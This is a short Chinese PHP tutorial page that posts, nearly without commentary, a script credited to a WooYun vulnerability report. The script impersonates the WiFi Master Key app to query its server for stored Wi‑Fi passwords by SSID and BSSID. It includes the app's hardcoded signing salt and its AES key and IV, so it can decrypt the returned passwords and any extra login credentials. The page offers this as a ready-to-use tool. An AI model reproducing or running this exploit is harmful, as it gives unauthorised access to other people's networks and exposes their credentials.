当前位置:Gxlcms > php框架 > WIFI万能钥匙密码查询接口实例

WIFI万能钥匙密码查询接口实例

时间:2021-07-01 10:21:17 帮助过:615人阅读

不废话了,直接给大家贴代码了

  1. <?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268
  2. $bssid = "c8:3a:35:fa:b8:80" ;
  3. $ssid = "Podinns2F03" ;
  4. if (isset( $bssid ) && isset( $ssid )){
  5. //update salt
  6. $ret = request( $bssid , $ssid , md5(rand(1, 10000)));
  7. $ret = json_decode( $ret );
  8. $ret = request( $bssid , $ssid , $ret ->retSn);
  9. $ret = json_decode( $ret );
  10. if ( $ret ->retCd == 0){
  11. if ( $ret ->qryapwd->retCd == 0){
  12. $list = $ret ->qryapwd->psws;
  13. foreach ( $list as $wifi ){
  14. echo 'SSID: ' . $wifi ->ssid. "\n" ;
  15. echo 'PWD: ' .decryptStrin( $wifi ->pwd). "\n" ;
  16. echo 'BSSID: ' . $wifi ->bssid. "\n" ;
  17. if ( $wifi ->xUser){
  18. echo 'xUser: ' . $wifi ->xUser. "\n" ;
  19. echo 'xPwd: ' . $wifi ->xPwd. "\n" ;
  20. }
  21. }
  22. }
  23. else {
  24. echo $ret ->qryapwd->retMsg;
  25. }
  26. }
  27. }
  28. function request( $bssid , $ssid , $salt , $dhid = 'ff8080814cc5798a014ccbbdfa375369' ){
  29. $data = array ();
  30. $data [ 'appid' ] = '0008' ;
  31. $data [ 'bssid' ] = $bssid ;
  32. $data [ 'chanid' ] = 'gw' ;
  33. $data [ 'dhid' ] = $dhid ;
  34. $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
  35. $data [ 'lang' ] = 'cn' ;
  36. $data [ 'mac' ] = '60f81dad28de' ;
  37. $data [ 'method' ] = 'getDeepSecChkSwitch' ;
  38. $data [ 'pid' ] = 'qryapwd:commonswitch' ;
  39. $data [ 'ssid' ] = $ssid ;
  40. $data [ 'st' ] = 'm' ;
  41. $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
  42. $data [ 'v' ] = '324' ;
  43. $data [ 'sign' ] = sign( $data , $salt );
  44. $curl = curl_init();
  45. curl_setopt( $curl , CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd' );
  46. curl_setopt( $curl , CURLOPT_USERAGENT, 'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' );
  47. curl_setopt( $curl , CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
  48. curl_setopt( $curl , CURLOPT_RETURNTRANSFER, true);
  49. curl_setopt( $curl , CURLOPT_POST, true); // enable posting
  50. curl_setopt( $curl , CURLOPT_POSTFIELDS, http_build_query( $data )); // post images
  51. curl_setopt( $curl , CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
  52. $r = curl_exec( $curl );
  53. curl_close( $curl );
  54. return $r ;
  55. }
  56. function registerNewDevice(){
  57. $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$' ;
  58. $data = array ();
  59. $data [ 'appid' ] = '0008' ;
  60. $data [ 'bssid' ] = $bssid ;
  61. $data [ 'chanid' ] = 'gw' ;
  62. $data [ 'dhid' ] = $dhid ;
  63. $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
  64. $data [ 'lang' ] = 'cn' ;
  65. $data [ 'mac' ] = '60f81dad28de' ;
  66. $data [ 'method' ] = 'getDeepSecChkSwitch' ;
  67. $data [ 'pid' ] = 'qryapwd:commonswitch' ;
  68. $data [ 'ssid' ] = $ssid ;
  69. $data [ 'st' ] = 'm' ;
  70. $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
  71. $data [ 'v' ] = '324' ;
  72. $data [ 'sign' ] = sign( $data , $salt );
  73. }
  74. function sign( $array , $salt ){
  75. // 签名算法
  76. $request_str = '' ;
  77. // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort
  78. ksort( $array );
  79. foreach ( $array as $key => $value ) {
  80. $request_str .= $value ;
  81. }
  82. $sign = md5( $request_str . $salt );
  83. return strtoupper ( $sign );
  84. }
  85. function decryptStrin( $str , $keys = 'k%7Ve#8Ie!5Fb&8E' , $iv = 'y!0Oe#2Wj#6Pw!3V' , $cipher_alg =MCRYPT_RIJNDAEL_128){
  86. //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
  87. //[length][password][timestamp]
  88. $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "H*" , $str ),MCRYPT_MODE_CBC, $iv );
  89. return substr (trim( $decrypted_string ),3,-13);
  90. } ?>

以上代码很简单吗,WIFI万能钥匙密码查询接口代码就全部写完了,希望大家喜欢。

人气教程排行